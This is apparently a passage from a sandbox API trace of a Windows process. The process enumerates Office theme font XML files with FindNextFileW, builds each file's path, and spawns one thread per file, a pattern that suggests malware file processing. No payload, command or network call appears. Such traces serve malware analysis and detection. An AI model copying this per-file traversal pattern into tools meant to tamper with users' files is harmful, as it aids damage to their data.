_Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.960] wcscat (in: _Dest=0x202ac6e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.960] wcscat (in: _Dest=0x202ac6e0, _Source="Composite.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" [0097.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a0 [0097.961] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0097.961] wcscmp (_String1="Concourse.xml", _String2=".") returned 1 [0097.961] wcscmp (_String1="Concourse.xml", _String2="..") returned 1 [0097.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ac790 [0097.961] wcscpy (in: _Dest=0x202ac790, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.961] wcscat (in: _Dest=0x202ac790, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.961] wcscat (in: _Dest=0x202ac790, _Source="Concourse.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" [0097.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a4 [0097.961] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0097.962] wcscmp (_String1="Couture.xml", _String2=".") returned 1 [0097.962] wcscmp (_String1="Couture.xml", _String2="..") returned 1 [0097.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ac840 [0097.962] wcscpy (in: _Dest=0x202ac840, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.962] wcscat (in: _Dest=0x202ac840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.962] wcscat (in: _Dest=0x202ac840, _Source="Couture.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" [0097.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a8 [0097.962] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0097.962] wcscmp (_String1="Elemental.xml", _String2=".") returned 1 [0097.962] wcscmp (_String1="Elemental.xml", _String2="..") returned 1 [0097.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ac8f0 [0097.963] wcscpy (in: _Dest=0x202ac8f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.963] wcscat (in: _Dest=0x202ac8f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.963] wcscat (in: _Dest=0x202ac8f0, _Source="Elemental.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" [0097.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13ac [0097.963] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0097.963] wcscmp (_String1="Equity.xml", _String2=".") returned 1 [0097.963] wcscmp (_String1="Equity.xml", _String2="..") returned 1 [0097.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x2027bc30 [0097.963] wcscpy (in: _Dest=0x2027bc30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.963] wcscat (in: _Dest=0x2027bc30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.963] wcscat (in: _Dest=0x2027bc30, _Source="Equity.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" [0097.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027bc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b0 [0097.964] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0097.964] wcscmp (_String1="Essential.xml", _String2=".") returned 1 [0097.964] wcscmp (_String1="Essential.xml", _String2="..") returned 1 [0097.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ac9a0 [0097.964] wcscpy (in: _Dest=0x202ac9a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.964] wcscat (in: _Dest=0x202ac9a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.964] wcscat (in: _Dest=0x202ac9a0, _Source="Essential.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" [0097.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b4 [0097.965] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0097.965] wcscmp (_String1="Executive.xml", _String2=".") returned 1 [0097.965] wcscmp (_String1="Executive.xml", _String2="..") returned 1 [0097.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202aca50 [0097.965] wcscpy (in: _Dest=0x202aca50, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.965] wcscat (in: _Dest=0x202aca50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.965] wcscat (in: _Dest=0x202aca50, _Source="Executive.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" [0097.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aca50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b8 [0097.966] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0097.966] wcscmp (_String1="Flow.xml", _String2=".") returned 1 [0097.966] wcscmp (_String1="Flow.xml", _String2="..") returned 1 [0097.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x2027bcd0 [0097.966] wcscpy (in: _Dest=0x2027bcd0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.966] wcscat (in: _Dest=0x2027bcd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.966] wcscat (in: _Dest=0x2027bcd0, _Source="Flow.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" [0097.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027bcd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13bc [0097.967] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0097.967] wcscmp (_String1="Foundry.xml", _String2=".") returned 1 [0097.967] wcscmp (_String1="Foundry.xml", _String2="..") returned 1 [0097.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202acb00 [0097.967] wcscpy (in: _Dest=0x202acb00, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.967] wcscat (in: _Dest=0x202acb00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.967] wcscat (in: _Dest=0x202acb00, _Source="Foundry.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" [0097.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202acb00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c0 [0097.968] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0097.968] wcscmp (_String1="Grid.xml", _String2=".") returned 1 [0097.968] wcscmp (_String1="Grid.xml", _String2="..") returned 1 [0097.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x2027bd70 [0097.968] wcscpy (in: _Dest=0x2027bd70, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.968] wcscat (in: _Dest=0x2027bd70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.968] wcscat (in: _Dest=0x2027bd70, _Source="Grid.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" [0097.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027bd70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c4 [0097.969] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0097.969] wcscmp (_String1="Hardcover.xml", _String2=".") returned 1 [0097.969] wcscmp (_String1="Hardcover.xml", _String2="..") returned 1 [0097.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202acbb0 [0097.969] wcscpy (in: _Dest=0x202acbb0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.969] wcscat (in: _Dest=0x202acbb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.969] wcscat (in: _Dest=0x202acbb0, _Source="Hardcover.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" [0097.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202acbb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c8 [0097.970] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0097.970] wcscmp (_String1="Horizon.xml", _String2=".") returned 1 [0097.970] wcscmp (_String1="Horizon.xml", _String2="..") returned 1 [0097.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202acc60 [0097.970] wcscpy (in: _Dest=0x202acc60, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.970] wcscat (in: _Dest=0x202acc60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.970] wcscat (in: _Dest=0x202acc60, _Source="Horizon.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" [0097.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202acc60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13cc [0097.970] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0097.970] wcscmp (_String1="Median.xml", _String2=".") returned 1 [0097.971] wcscmp (_String1="Median.xml", _String2="..") returned 1 [0097.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x2027be10 [0097.971] wcscpy (in: _Dest=0x2027be10, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.971] wcscat (in: _Dest=0x2027be10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.971] wcscat (in: _Dest=0x2027be10, _Source="Median.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" [0097.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027be10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d0 [0097.971] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0097.971] wcscmp (_String1="Metro.xml", _String2=".") returned 1 [0097.971] wcscmp (_String1="Metro.xml", _String2="..") returned 1 [0097.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x2027beb0 [0097.971] wcscpy (in: _Dest=0x2027beb0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.971] wcscat (in: _Dest=0x2027beb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.972] wcscat (in: _Dest=0x2027beb0, _Source="Metro.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" [0097.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027beb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d4 [0097.972] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0097.972] wcscmp (_String1="Module.xml", _String2=".") returned 1 [0097.972] wcscmp (_String1="Module.xml", _String2="..") returned 1 [0097.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x2027bf50 [0097.972] wcscpy (in: _Dest=0x2027bf50, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.972] wcscat (in: _Dest=0x2027bf50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.972] wcscat (in: _Dest=0x2027bf50, _Source="Module.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" [0097.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027bf50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d8 [0097.973] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0097.973] wcscmp (_String1="Newsprint.xml", _String2=".") returned 1 [0097.973] wcscmp (_String1="Newsprint.xml", _String2="..") returned 1 [0097.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202acd10 [0097.973] wcscpy (in: _Dest=0x202acd10, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.973] wcscat (in: _Dest=0x202acd10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.973] wcscat (in: _Dest=0x202acd10, _Source="Newsprint.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" [0097.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202acd10, dwCreationFlags=0x0, lpThreadId=0x0 | out: 